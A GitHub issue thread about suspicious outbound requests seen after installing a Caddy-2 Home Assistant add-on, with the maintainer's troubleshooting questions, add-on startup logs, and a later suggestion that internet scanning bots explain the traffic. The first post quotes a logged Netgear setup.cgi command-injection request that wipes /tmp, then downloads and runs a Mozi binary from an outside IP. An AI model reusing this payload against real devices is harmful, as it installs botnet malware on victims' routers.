Malware infection?

[thegbert]

Been receiving multiple firewall blocked requests for pulls after installing add-on in Home Assistant, My firewall lists Home Assistant as trying to post GET requests to:

1. 37.0.11.157
2. "GET http:/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://180.121.234.86:46949/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1"

Messages stopped after stopping Caddy-2 add-on.

[einschmidt]

Hi @thegbert

Thanks for sharing your finding.

Please can you share:

• The repository you installed Caddy-2 from
• The current Caddy-2 version you are running

Happy to investigate, but need further information.

[thegbert]

Apologies for not including that earlier:

• Repository used: https://github.com/einschmidt/hassio-addons
• Current Version running: 1.1.0

Thanks!

[einschmidt]

I went through various build logs, but couldn't determine any failure or mismatch of container hash numbers yet.

Having that said, the add-on follows same build workflows as for example the hassio-addons, so I am wondering why other add-ons won't show the same behavior.

To help me continue my hunt, would you mind sharing your add-on logs after starting the add-on? Ideally also your Caddyfile?
Feel free to replace your personal information in both of them.

[thegbert]

Sure... add-on logs after starting here:

[s6-init] making user provided files available at /var/run/s6/etc...exited 0.
[s6-init] ensuring user provided files have correct perms...exited 0.
[fix-attrs.d] applying ownership & permissions fixes...
[fix-attrs.d] scripts: applying...
[fix-attrs.d] scripts: exited 0.
[fix-attrs.d] done.
[cont-init.d] executing container initialization scripts...
[cont-init.d] 00-banner.sh: executing...

Add-on: Caddy 2
Open source web and proxy server with automatic HTTPS

Add-on version: 1.1.0
You are running the latest version of this add-on.
System: Home Assistant OS 7.2 (amd64 / qemux86-64)
Home Assistant Core: 2022.2.2
Home Assistant Supervisor: 2022.01.1

Please, share the above information when looking for help
or support in, e.g., GitHub, forums or the Discord chat.

[cont-init.d] 00-banner.sh: exited 0.
[cont-init.d] 01-log-level.sh: executing...
Log level is set to INFO
[cont-init.d] 01-log-level.sh: exited 0.
[cont-init.d] done.
[services.d] starting services
[services.d] done.
INFO: Prepare Caddy...
INFO: Use built-in Caddy
v2.4.6 h1:HGkGICFGvyrodcqOOclHKfvJC0qTU7vny/7FhYp9hNw=
INFO: Prepare Caddyfile...
INFO: Caddyfile found at /share/caddy/Caddyfile
INFO: Run Caddy...
{"level":"info","ts":1644782896.9032063,"msg":"using provided configuration","config_file":"/share/caddy/Caddyfile","config_adapter":""}
{"level":"warn","ts":1644782896.9101617,"msg":"input is not formatted with 'caddy fmt'","adapter":"caddyfile","file":"/share/caddy/Caddyfile","line":2}
{"level":"info","ts":1644782896.914259,"logger":"admin","msg":"admin endpoint started","address":"tcp/localhost:2019","enforce_origin":false,"origins":["localhost:2019","[::1]:2019","127.0.0.1:2019"]}
{"level":"info","ts":1644782896.9163141,"logger":"http","msg":"server is listening only on the HTTPS port but has no TLS connection policies; adding one to enable TLS","server_name":"srv0","https_port":443}
{"level":"info","ts":1644782896.9180372,"logger":"http","msg":"enabling automatic HTTP->HTTPS redirects","server_name":"srv0"}
{"level":"info","ts":1644782896.9212222,"logger":"http","msg":"enabling automatic TLS certificate management","domains":["subdomain.qualifieddomain.net"]}
{"level":"info","ts":1644782896.922158,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0xc00053dd50"}
{"level":"info","ts":1644782896.922956,"logger":"tls","msg":"cleaning storage unit","description":"FileStorage:/ssl/caddy"}
{"level":"info","ts":1644782896.9298792,"logger":"tls","msg":"finished cleaning storage units"}
{"level":"info","ts":1644782897.056298,"msg":"autosaved config (load with --resume flag)","file":"/data/caddy/autosave.json"}
{"level":"info","ts":1644782897.0567362,"msg":"serving initial configuration"}

Caddyfile attached below

clean_Caddyfile.txt

[einschmidt]

Hi @thegbert

Having a look at the provided information I can't determine any string config or notice any irregular log output.

Having that said, I am running out of ideas what and how to check next, so I have applied the label "Help wanted".

One last question. Please could you try another version and check if you receive the same output?

Otherwise I am uncertain how to help further :-(

[oscar230]

Has this been solved?

[einschmidt]

No, because reason is uncertain, and no further reporting happened.
Help is appreciated.

[oscar230]

No, because reason is uncertain, and no further reporting happened.
Help is appreciated.

Okay @einschmidt . Looks like caddy is trying to access setup.cgi which is a the "Common Gateway Interface", a internal address used to control Apache Web Servers.

I would say that the reporter (@thegbert ) should explain thier setup more. Just from the logs it is hard to tell. Maybe an traffic analysis like a Wireshark dump including the suspect package?

[PedanXr]

Sorry for reviving that issue after 2 years, but did you expose Caddy to the open web? If so, that's normal behavior. There are bots online which automatically crawl every public IP and try to run several exploits.
The same happens when you expose your SSH port.